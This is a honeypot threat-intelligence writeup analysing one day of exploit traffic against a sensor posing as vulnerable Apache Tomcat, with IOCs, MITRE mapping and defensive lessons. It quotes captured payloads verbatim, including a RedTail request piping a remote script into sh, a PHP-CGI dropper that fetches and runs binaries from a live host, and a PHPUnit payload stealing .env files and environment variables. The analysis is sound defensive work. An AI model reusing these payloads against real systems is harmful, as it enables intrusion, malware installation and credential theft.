GreyNoise watches the internet’s background noise: the scanners, botnets and opportunistic exploit traffic that hit every public IP. Through Project Swarm, anyone can run a GreyNoise sensor and keep the full PCAP of everything that hits it. This is the second writeup in the series, and it comes from a different kind of sensor: a vulnerable web server, not a telnet shell.
Credit: This project was inspired by John Hammond’s interview with the creator of GreyNoise, which introduced Project Swarm and the idea of running your own sensors and keeping the PCAPs.
Four $4/month DigitalOcean droplets, one per region, each running a different GreyNoise profile so they attract different traffic. Outbound traffic is disabled on every sensor.
| Sensor | Region | Profile | Bait |
|---|---|---|---|
| Bold Earwig | Sydney (SYD1) | Apache Tomcat 8.0.45 - VULNERABLE | CVE-2017-12617 JSP upload → webshell |
| Pensive Markhor | Singapore (SGP1) | Cowrie Telnet Honeypot | Telnet logins + shell sessions (IoT botnets) |
| Vibrant Quetzal | San Francisco (SFO3) | React Server Components - VULNERABLE | CVE-2025-55182 |
| Festive Goat | Frankfurt (FRA1) | WordPress MasterStudy LMS - VULNERABLE | Plugin LFI / traversal (2024 CVE cluster) |
This writeup focuses on the Sydney sensor, which presents as Apache Tomcat 8.0.45. Every response it sends carries Server: Apache-Coyote/1.1, and its error pages and default index are titled Apache Tomcat/8.0.45. The bait is CVE-2017-12617: the profile ships the default Manager and example apps, with WebDAV enabled and the default servlet set to readonly=false, so a request like PUT /shell.jsp/ writes a JSP file to the web root, and requesting it runs it.
The sensor registered at 2026-10-14 01:09 UTC and logged 24,002 sessions in its first 24 hours, between roughly 750 and 1,450 an hour. Outbound traffic is disabled.

Most of what this sensor sees is crawling. Filtered to classification:malicious, 461 of those 24,002 sessions remain, and most of them are secret harvesters walking /.aws/credentials, /.docker/daemon.json and similar paths that any web server might expose. Some announce themselves (WebSiphon/next-0.1). Others claim to be Googlebot/2.1, which doesn’t go looking for AWS credential files. Tomcat answers 404 to all of them, and they bury everything else.

The Swarm UI’s search doesn’t index the HTTP method as a value. It exposes per-session counters instead (http.method-GET, http.method-POST, http.method-PUT and so on), each the number of requests of that method in the session. Adding "http.method-POST:>0" to the classification:malicious filter cut those 461 sessions down to nine. Each spike on the histogram lines up with one of the exploit sessions in the timeline below.

Gotcha: PCAP export only covers the current page of results, not the whole time range. Filter first, so the page holds only the sessions you want, then export. If you do need several pages,
mergecap -w out.pcap page1.pcap page2.pcapcombines them andeditcap -ddrops duplicate packets where pages overlap.
Over about 16 hours, five source IPs sent nine exploit sessions to a sensor that identifies itself as Apache Tomcat in every response, and none of them targeted Tomcat. Two hosts sent the RedTail cryptominer’s Apache httpd path-traversal exploit in both of its encodings (CVE-2021-41773 and CVE-2021-42013), and Tomcat rejected both with 400 Bad Request before any shell was reached. One host sent a PHP-CGI argument injection (CVE-2024-4577) that only works against Windows PHP installs, carrying a dropper with a Linux branch that would fetch a Mirai-family binary from a server that has rotated its build three times in two days. Two more sessions probed for React2Shell (CVE-2025-55182), and one of those hosts followed up within a second with a PHPUnit eval-stdin.php payload built to steal .env files and environment variables, then a Next.js middleware-bypass check. Every attempt failed because the target wasn’t what the exploits were written for. URLhaus and MalwareBazaar filled in the payload side: both download hosts were still serving malware, the RedTail host’s binary carries a Prometei signature that its vendor intel (an XMRig miner, no family YARA match) doesn’t support, and the Mirai-family host’s hash had changed again on the day of capture. The bug the sensor was built to catch, CVE-2017-12617, never came up.
flowchart LR
S[Sensor<br/>Server: Apache-Coyote/1.1<br/>Tomcat 8.0.45]
A[RedTail<br/>Apache httpd traversal<br/>CVE-2021-41773 / 42013] -->|400| S
B[PHP-CGI arg injection<br/>CVE-2024-4577] -->|404| S
C[React2Shell<br/>CVE-2025-55182] -->|200 default page| S
D[PHPUnit eval-stdin<br/>CVE-2017-9841] -->|404| S
E[Next.js middleware bypass<br/>CVE-2025-29927] -->|404| S
X[CVE-2017-12617<br/>Tomcat JSP PUT] -. never sent .-> S
sessions-2026-10-14T07_09_43.052Z-to-2026-10-15T07_09_43.052Z-page-1.pcap (24-hour export window filtered to POST/PUT sessions; 138 packets, 9 TCP sessions, all between 2026-10-14 12:12:39 and 2026-10-15 04:35:45 UTC) → Wireshark / tshark.3928197 (x86_64, RedTail host) and 3949537 (x86, Mirai-family host); MalwareBazaar SHA256 f0aa83bb…6c18d987.A quick way to list every request in the capture:
tshark -r sessions-...-page-1.pcap -Y http.request -T fields \
-e frame.time_utc -e ip.src -e http.request.method -e http.request.uri -e http.user_agent
Two hosts, 51.158.145[.]102 at 12:12 UTC on 10-14 and 65.109.215[.]207 at 04:35 UTC on 10-15, sent the same pair of requests about 16 hours apart. Both identify themselves with the user-agent libredtail-http.
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
User-Agent: libredtail-http
Content-Type: text/plain
Content-Length: 109
(wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s apache
This is CVE-2021-41773, a path traversal in Apache httpd 2.4.49. .%2e is a URL-encoded .., which 2.4.49 failed to normalise, so the request walks out of /cgi-bin/ to /bin/sh. With mod_cgi enabled, Apache runs /bin/sh as a CGI script and feeds it the POST body. Three seconds later each host sent the same request with %%32%65 in place of .%2e. That’s CVE-2021-42013, the bypass for Apache’s incomplete fix in 2.4.50: %32 and %65 decode to 2 and e, so %%32%65 decodes twice to %2e and then to ..
The body pipes a remote script into sh, tries wget first and falls back to curl, skips certificate checks on both, and passes apache as the script’s first argument. SonicWall documented this exact request chain and notes only that -s makes sh read the script from standard input and that apache is passed to it as a positional argument. None of the public write-ups I found say what the script does with it. Labelling the infection vector (Apache here, versus SSH or PHP elsewhere) is a plausible guess, not a confirmed one.
What the script does is better documented. According to SANS ISC honeypot reporting, RedTail’s setup script checks the CPU architecture, picks a writable directory, kills competing miners, then downloads the matching build (x86_64, i686, aarch64 or arm7) and saves it as a hidden .redtail file. Akamai found the unpacked binary is a modified XMRig, a Monero miner.
Neither request got anywhere. Tomcat isn’t Apache httpd, has no /cgi-bin/ mapped and rejects encoded dot segments outright, so all four requests got 400 Bad Request with an empty body.

URLhaus has hxxps://217.60.102[.]5/sh, the exact script these requests fetch, listed as online since 2026-10-03, reported from a Cowrie honeypot. The same host serves x86_64, aarch64 and arm7 binaries, added 2026-10-04 with an abuse report sent to the hosting provider the same minute. The x86_64 binary (f0aa83bb…6c18d987) is signatured Prometei on MalwareBazaar. A plain-HTTP copy of /sh on the same host is tagged mirai by a different reporter.
The traffic tells a different story. The libredtail-http user-agent, a shell script fetched over HTTPS from a bare IP, and a set of binaries named after CPU architectures all match published reporting on RedTail, a cryptomining botnet that spreads through edge-device and web-server CVEs.
The MalwareBazaar entry itself narrows it down:
| Field | Value |
|---|---|
| Signature | Prometei (set by the uploader, c2hunter) |
| Packing | UPX; 1,989,056 bytes packed, 5,199,952 unpacked, linux/amd64 |
| First / last seen | 2026-07-30 21:18 UTC / 2026-10-04 10:08 UTC; uploaded 22 times |
| ReversingLabs | Linux.Coinminer.XMRig |
| Unpacked file | a0f85de5…2c50d268, classified CoinMiner |
| Other vendors | ClamAV, Dr.Web vxCube, Intezer, Kaspersky, Triage: malicious, no family named |
| YARA | Three generic rules only: UPX-packed ELF (two) and a 2026 Linux mass-hunt rule. No family-specific rule matched |
The only thing calling it Prometei is the signature on the upload. No YARA rule backs that up, and the one vendor that names a family calls it an XMRig Monero miner. That fits RedTail, which is built on XMRig. It doesn’t rule out Prometei, whose Linux variant also mines Monero, but nothing on the page points there specifically.
So the delivery fingerprint (libredtail-http, sh -s apache, binaries named by architecture) and the vendor classification both say “XMRig-based miner delivered the way RedTail delivers it”. The Prometei label is the outlier, which makes this most likely RedTail. Proving it would take the binary itself, for example a RedTail-specific string or mining pool in the unpacked file. Either way, a crowd-sourced label is a lead to check, not a verdict.
One more contrast for later: this hash was first seen on 2026-07-30 and was still being served in October, so the RedTail binary hadn’t changed in over two months. The Mirai-family host below changes its binary every day or so.

AbuseIPDB puts the host at SWISSNET LLC (AS209373), a data centre and hosting network in Amsterdam, with a 31% abuse confidence score from 13 reports by 6 sources. The first report is dated 2026-10-03, the same day URLhaus first listed /sh, so the host seems to have started serving RedTail that day. Most reports are filed as Exploited Host (12) and Hacking (7). Unlike the Mozi writeup, where every host was an infected home router, this is a server in a hosting range: rented or compromised infrastructure, not a victim’s device.

130.12.180[.]32 sent the same request twice, at 17:04 UTC on 10-14 and 04:33 UTC on 10-15:
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
This is CVE-2024-4577. %AD is a soft hyphen. On Windows systems using certain code pages, PHP-CGI’s “best fit” character conversion turns it into a real -, so %ADd becomes the command-line flag -d. That lets the query string set PHP config: allow_url_include=1 and auto_prepend_file=php://input tell PHP to run the POST body as code before anything else. The path /php-cgi/php-cgi.exe is a Windows (XAMPP-style) install.
The body is a PHP dropper with a branch for each OS:
$url = "http://103.170.217.170/";
$windowsbin="pula.exe";
$linuxbin="x86";
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
shell_exec("taskkill.exe /f /im $windowsbin");
shell_exec("del /f /q $windowsbin");
if (file_put_contents($windowsbin, file_get_contents($url . $windowsbin)))
{ shell_exec("$windowsbin"); }
} else {
shell_exec("killall $linuxbin; kill -9 $(ps aux | grep $linuxbin | awk '{print $2}')");
shell_exec("cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;rm -rf $linuxbin*;wget $linuxurl || curl -s -o $linuxbin $linuxurl || tftp $host -c get /$linuxbin || tftp -r /$linuxbin -g $host || ftpget -v -u anonymous -p anonymous -P 21 $host -c get /$linuxbin;chmod 777 $linuxbin;./$linuxbin");
}
The exploit only works on Windows, yet the payload carries a full Linux branch. The kit pairs one generic dropper with many exploits. The Linux branch is the same loader pattern as the Mozi writeup: kill any copy already running, step through writable directories, then try wget, curl, two tftp syntaxes and ftpget until one works. That’s IoT-botnet tradecraft riding on a web exploit.
Tomcat answered both requests with 404 Not Found.

URLhaus has a long history on 103.170.217[.]170. On 2026-10-11 it served a full Sora set from /bins/ (sora.arm4 through sora.arm7, sora.mips, sora.mpsel, sora.ppc, sora.m68k, sora.sh4, sora.x86) plus a sora.sh downloader. Sora is a Mirai variant. Many of those entries are tagged ssh, so other honeypots saw this host’s files dropped through SSH brute-force. From 10-13 the paths changed to bare architecture names (x86, x64, arm64, armv5, armv7l, mips, mipsle, mips64), tagged wraith by their reporter.
hxxp://103.170.217[.]170/x86, the file this dropper asks for, was added on 2026-10-13 and was still online at capture time. URLhaus has fetched three different SHA256s from that one URL: two on 10-13 and a third, 44272f1f…94889b1eb, on 10-15. None of them has a MalwareBazaar signature. So this operator uses at least two ways in (SSH credential stuffing and PHP-CGI) and rebuilds the binary faster than hash blocklists catch up.

AbuseIPDB shows the host isn’t just a file server. 103.170.217[.]170 belongs to ADS Royalnet Communication (AS149020), a fixed-line ISP in Singapore (the same purplenet.in network URLhaus sent its abuse report to). It has a 100% abuse confidence score from 71 reports by 54 sources, first reported on 2026-10-10, the day before URLhaus logged the Sora set. The top categories are Port Scan (35), Brute-Force (33), Hacking (21), SSH (19) and Web App Attack (11). So the same IP scans, brute-forces SSH, sends web exploits and hosts the binaries, which matches the ssh tags on its URLhaus entries.

Two sessions sent a POST / with a Next-Action: x header and a three-part multipart body. This is the React Server Components deserialisation bug, CVE-2025-55182, nicknamed React2Shell. The first part abuses the Flight protocol’s reference syntax ($1:__proto__:then, $1:constructor:constructor) to reach JavaScript’s Function constructor and run the _prefix string as code.
The two senders used it differently:
143.244.147[.]123 (21:39 UTC, 10-14) ran require('child_process').execSync('echo R2SHELL_751f698fd1') and put the output in the redirect digest. That’s a remote code execution check: if the marker comes back, the target is vulnerable. The multipart boundary is literally ----CveSweepc447a0fe.23.94.145[.]124 (04:16 UTC, 10-15) skipped the shell and only threw a NEXT_REDIRECT to /login?a=W97877. A vulnerable server would answer with a redirect carrying that marker, which proves code runs without spawning a process.Tomcat ignores the Next-Action header and returned its default index page with 200 OK. That doesn’t fool the scanners. On a vulnerable Next.js server, the thrown NEXT_REDIRECT comes back as an HTTP 303 with the digest (and any command output) in an x-action-redirect header. Public React2Shell scanners also treat a 500 containing E{"digest" as a sign of a vulnerable server. A plain 200 with neither of those is a miss. The status code is only misleading for a defender: a detection rule that treats “exploit request plus 200” as success would flag both of these probes as hits.
The bait for this bug is on a different sensor, Vibrant Quetzal, which runs React Server Components. Seeing it here shows the scanners don’t check what’s running before they fire.
Less than half a second after its React2Shell probe, 23.94.145[.]124 opened a new connection and sent three requests back to back:
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
GET /dashboard
GET /dashboard X-Middleware-Subrequest: middleware
eval-stdin.php is CVE-2017-9841: PHPUnit test files left in a production vendor/ folder will eval() whatever is POSTed to them. This payload is a secrets stealer:
<?php $o="MOLDPU".(6*7)."-".php_uname()."|";
foreach([".env","../.env", ... ,"../../../../../../.env"] as $p){
if(is_file($p)){$o.="ENVFILE=".base64_encode(file_get_contents($p))."|";break;}}
$o.="PROC=".base64_encode(@file_get_contents("/proc/self/environ"))."|PHPE=".base64_encode(print_r($_ENV,1));
echo $o."|END";?>
It searches up to six directories above for a .env file and returns it along with /proc/self/environ and PHP’s $_ENV, all base64-encoded. The marker is built as "MOLDPU".(6*7) rather than written out as MOLDPU42, so the marker only appears in the response if the code actually ran. That’s the same canary idea as Mozi’s hex echo, and it also keeps the string out of the request where a signature might catch it.
The two /dashboard requests are a before-and-after test for CVE-2025-29927, a Next.js middleware bypass. A plain request shows the normal response (usually a redirect to login). The same request with X-Middleware-Subrequest tells Next.js to skip middleware, and if the protected page comes back, auth is bypassed. All three got 404 Not Found.
This sits alongside the WebSiphon crawling from the start: both are after cloud and application secrets, one by guessing file paths and one by running code to read them.

Bold Earwig is built to catch CVE-2017-12617, a PUT of a .jsp file followed by a GET to run it. In this window no session sent a PUT, no session touched /manager/ and nothing tried Tomcat Manager default credentials, even though the profile serves the default Manager app. The server announces itself as Tomcat in every response and still got exploits for Apache httpd, Windows PHP, PHPUnit and Next.js.
Mass exploitation is cheaper than fingerprinting. A kit that sprays every exploit at every IP doesn’t need to read the Server header, because a wrong guess costs nothing. That’s also why the sensor’s fake version string barely matters for this traffic.
All five exploit sources sit in hosting ranges, and every one has a 100% abuse confidence score on AbuseIPDB. That’s the opposite of the Mozi writeup, where both the scanner and the payload host were infected home broadband connections.
| Source | Sent | Network | AbuseIPDB |
|---|---|---|---|
51.158.145[.]102 | RedTail | Scaleway (AS12876), Amsterdam NL | 452 reports / 307 sources since 2021-05-23; Web App Attack, Brute-Force |
65.109.215[.]207 | RedTail | Hetzner (AS24940), Helsinki FI | 156 reports / 134 sources, first reported 2026-10-14; Brute-Force, SSH |
130.12.180[.]32 | PHP-CGI dropper | Virtualine Technologies (AS202412), Aachen DE | 2,787 reports / 1,251 sources since 2026-03-03; Brute-Force, SSH |
143.244.147[.]123 | React2Shell check | DigitalOcean (AS14061), New Jersey US | 334 reports / 150 sources since 2025-02-02; Web App Attack, Port Scan |
23.94.145[.]124 | React2Shell, PHPUnit, Next.js bypass | DEDIK Services (AS207043, ColoCrossing hostname), Buffalo NY US | 435 reports / 100 sources since 2021-08-20; Web App Attack, Bad Web Bot |
A few things stand out:
51.158.145[.]102 has been reported since 2021. 65.109.215[.]207 was reported for the first time on 2026-10-14, the day before it reached this sensor, and already has 156 reports. Both are mostly reported for SSH brute-force, which fits RedTail spreading over SSH as well as web exploits. A new Hetzner box picking up a hundred-plus reports in a day looks like a freshly rented or freshly compromised node going straight to work.AbuseIPDB scores are crowd-sourced and hosting IPs get reassigned, so a long report history doesn’t prove the same operator held the address the whole time. Still, these are clearly not first-time offenders.
| Phase | Action |
|---|---|
| Reconnaissance | Path crawlers (WebSiphon/next-0.1) request /.aws/credentials, /.docker/daemon.json and similar |
| Initial Access | RedTail sends Apache httpd traversal to /bin/sh (CVE-2021-41773, then CVE-2021-42013); Tomcat returns 400 |
| Execution | POST body pipes hxxps://217.60.102[.]5/sh into sh -s apache via wget / curl |
| Initial Access | PHP-CGI soft-hyphen argument injection (CVE-2024-4577) sets auto_prepend_file=php://input; Tomcat returns 404 |
| Command and Control | PHP dropper fetches x86 (Linux) or pula.exe (Windows) from 103.170.217[.]170 via wget / curl / tftp / ftpget |
| Reconnaissance | React2Shell (CVE-2025-55182) probes with an echo marker or a redirect marker; Tomcat returns its default page |
| Credential Access | PHPUnit eval-stdin.php (CVE-2017-9841) payload reads .env, /proc/self/environ and $_ENV; Tomcat returns 404 |
| Initial Access | Next.js middleware bypass check (CVE-2025-29927) on /dashboard; Tomcat returns 404 |
| Timestamp (UTC) | Event |
|---|---|
| 2026-07-30 21:18:08 | x86_64 binary (f0aa83bb…6c18d987) first seen on MalwareBazaar |
| 2026-10-03 06:15:18 | hxxps://217.60.102[.]5/sh added to URLhaus (Cowrie honeypot report) |
| 2026-10-04 04:24:24 | x86_64, aarch64, arm7 on 217.60.102[.]5 added to URLhaus; abuse report sent 04:25:22 |
| 2026-10-11 06:51 – 07:05 | /bins/sora.* set and sora.sh on 103.170.217[.]170 added to URLhaus |
| 2026-10-13 12:23:10 | hxxp://103.170.217[.]170/x86 added to URLhaus; abuse report sent 12:24:16; two payload hashes fetched that day |
| 2026-10-14 01:09:20 | Bold Earwig registered with GreyNoise |
| 2026-10-14 12:12:40 | 51.158.145[.]102 sends RedTail CVE-2021-41773 request (.%2e) → 400 |
| 2026-10-14 12:12:43 | 51.158.145[.]102 sends RedTail CVE-2021-42013 request (%%32%65) → 400 |
| 2026-10-14 17:04:06 | 130.12.180[.]32 sends PHP-CGI CVE-2024-4577 dropper → 404 |
| 2026-10-14 21:39:01 | 143.244.147[.]123 sends React2Shell RCE check (echo R2SHELL_751f698fd1) → 200 default page |
| 2026-10-15 04:16:28 | 23.94.145[.]124 sends React2Shell redirect-marker check → 200 default page |
| 2026-10-15 04:16:28.8 | Same host, new connection: PHPUnit eval-stdin.php secrets stealer → 404 |
| 2026-10-15 04:16:29 | Same connection: /dashboard baseline, then with X-Middleware-Subrequest → 404, 404 |
| 2026-10-15 04:33:48 | 130.12.180[.]32 repeats the PHP-CGI dropper → 404 |
| 2026-10-15 04:35:29 | 65.109.215[.]207 sends RedTail CVE-2021-41773 request → 400 |
| 2026-10-15 04:35:41 | 65.109.215[.]207 sends RedTail CVE-2021-42013 request → 400 |
| 2026-10-15 | Third payload hash (44272f1f…94889b1eb) fetched from hxxp://103.170.217[.]170/x86 by URLhaus |
| Type | Value |
|---|---|
| IP (RedTail exploit source) | 51.158.145[.]102 (AS12876 Scaleway, NL), 65.109.215[.]207 (AS24940 Hetzner, FI); both AbuseIPDB 100% |
| IP (PHP-CGI exploit source) | 130.12.180[.]32 (AS202412 Virtualine, DE; AbuseIPDB 100%, 2,787 reports) |
| IP (React2Shell scanner) | 143.244.147[.]123 (AS14061 DigitalOcean, US; AbuseIPDB 100%) |
| IP (React2Shell + PHPUnit + Next.js scanner) | 23.94.145[.]124 (AS207043 DEDIK Services, US; AbuseIPDB 100%) |
| IP (RedTail payload host) | 217.60.102[.]5 (AS209373 SWISSNET LLC, NL, hosting; AbuseIPDB 31%, first reported 2026-10-03) |
| IP (Mirai-family payload host) | 103.170.217[.]170 (AS149020 ADS Royalnet Communication, SG, fixed-line ISP; AbuseIPDB 100%, 71 reports, first reported 2026-10-10) |
| URL | hxxps://217.60.102[.]5/sh, hxxps://217.60.102[.]5/x86_64, hxxps://217.60.102[.]5/aarch64, hxxps://217.60.102[.]5/arm7 |
| URL | hxxp://103.170.217[.]170/x86, hxxp://103.170.217[.]170/pula.exe |
SHA256 (x86_64, RedTail host, MalwareBazaar: Prometei; ReversingLabs: XMRig) | f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 |
SHA1 / MD5 (x86_64) | 94e6098bab3b1d1d2930ab87e0f82f5fe3ac1d7b / 1f47ecc10bc008ad26e504897b940f22 |
SHA256 (x86_64 unpacked from UPX, CoinMiner) | a0f85de525c9f1126dd701b4b9a50237ef6dd1605836da64e983e49a2c50d268 |
SHA256 (x86, Mirai-family host, 2026-10-15) | 44272f1f153709662b3b973e7b4a601df852e7eae3dd9a22661860394889b1eb |
SHA256 (x86, Mirai-family host, 2026-10-13) | 16254f69dc7011bdd51beb489af5e9825959e4098e565332da99f8cb58b7a76e |
SHA256 (x86, Mirai-family host, 2026-10-13) | 107a9bfb3d0bb71a33ae17a9eac844a7a7562270a09b5ccce608a78316df0222 |
| User-Agent | libredtail-http (RedTail), WebSiphon/next-0.1 (secret crawler) |
| Marker strings | R2SHELL_751f698fd1, W97877, MOLDPU42, ----CveSweep (multipart boundary prefix) |
| URI patterns | /cgi-bin/.%2e/…/bin/sh, /cgi-bin/%%32%65%%32%65/…/bin/sh, /php-cgi/php-cgi.exe?%ADd+…, /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
| Header | Next-Action: x, X-Middleware-Subrequest: middleware |
| Technique | ID | Description |
|---|---|---|
| Vulnerability Scanning | T1595.002 | React2Shell echo / redirect marker checks and the /dashboard middleware-bypass comparison |
| Exploit Public-Facing Application | T1190 | Apache httpd traversal, PHP-CGI argument injection, PHPUnit eval-stdin.php, React2Shell |
| Unix Shell | T1059.004 | RedTail POST body executed by /bin/sh; PHP dropper’s Linux branch via shell_exec |
| JavaScript | T1059.007 | React2Shell payload runs child_process.execSync through the Function constructor |
| Ingress Tool Transfer | T1105 | wget / curl / tftp / ftpget fallback chain for x86; wget / curl for RedTail /sh |
| System Information Discovery | T1082 | PHPUnit payload returns php_uname() |
| Credentials In Files | T1552.001 | PHPUnit payload reads .env files, /proc/self/environ and $_ENV |
| Resource Hijacking | T1496 | RedTail’s purpose is cryptomining (from public reporting; no miner observed on the sensor) |
Most of this is noise, and a little of it isn’t. One day of a single sensor produced five exploit families from five IPs, and all of it was blind. A WAF or IDS will alert on every one of these, and none would have worked against this server. Triage starts with “does this exploit even apply to what’s running here?”. The response codes answer that in seconds: 400 and 404 on every attempt means nothing landed.
Check the response, not just the status code. The React2Shell probes got 200 OK because Tomcat served its default page. A rule that alerts on “exploit request + 200” would flag them as successful. The scanners’ own markers (R2SHELL_…, W97877, MOLDPU42) are the real test: if a marker shows up in a response body, the code ran.
Hash IOCs for this campaign go stale within a day. The x86 URL served three different binaries in two days and none of them had a signature. Block and hunt on the host, the URL and the behaviour (a web server process running wget or curl into /dev/shm or /tmp) rather than the file hash.
Don’t take one tag as the answer. The RedTail host’s binary is signatured Prometei, a different reporter tagged its script mirai, ReversingLabs calls it an XMRig miner, and the traffic points to RedTail. Only the last two agree. A crowd-sourced label is a starting point to check against what you actually saw.
Secrets on web servers are the real target for a lot of this. WebSiphon crawls for credential files and the PHPUnit payload executes code just to read .env and the process environment. Keep secrets out of the web root and out of environment files on the server where possible, remove dev dependencies like PHPUnit from production builds, and rotate any key that has ever sat in a web-reachable .env.
Exposed version strings matter less than you’d think. This sensor advertises an old, vulnerable Tomcat in every response and still didn’t attract a single Tomcat exploit in a day. Hiding the Server header is still worth doing, but it doesn’t change much for traffic that never reads it. Patching is what actually helps.
For its first day, a sensor built to look like a vulnerable Apache Tomcat 8.0.45 drew exploits for nearly everything except Apache Tomcat. RedTail sent Apache httpd traversal exploits from two hosts 16 hours apart. A PHP-CGI exploit that only works on Windows carried a dropper whose Linux branch would have fetched a Mirai-family binary. Two scanners checked for React2Shell, and one of them followed up within a second with a PHPUnit secrets stealer and a Next.js auth-bypass check. All of it failed with a 400, a 404 or a default page.
The PCAP shows the delivery, and public threat intel filled in the rest. Both payload hosts were still serving malware at capture time, the RedTail host’s binary carries a Prometei label that the vendor intel doesn’t back up, and the Mirai-family host’s x86 binary changed hash three times in two days.
The one exploit this sensor was built for never arrived. That’s the lesson of the day: most internet exploit traffic doesn’t check what it’s attacking. It’s cheap enough to spray everything everywhere, so defenders end up handling noise in bulk, and the job is spotting the rare request that actually matches what they run.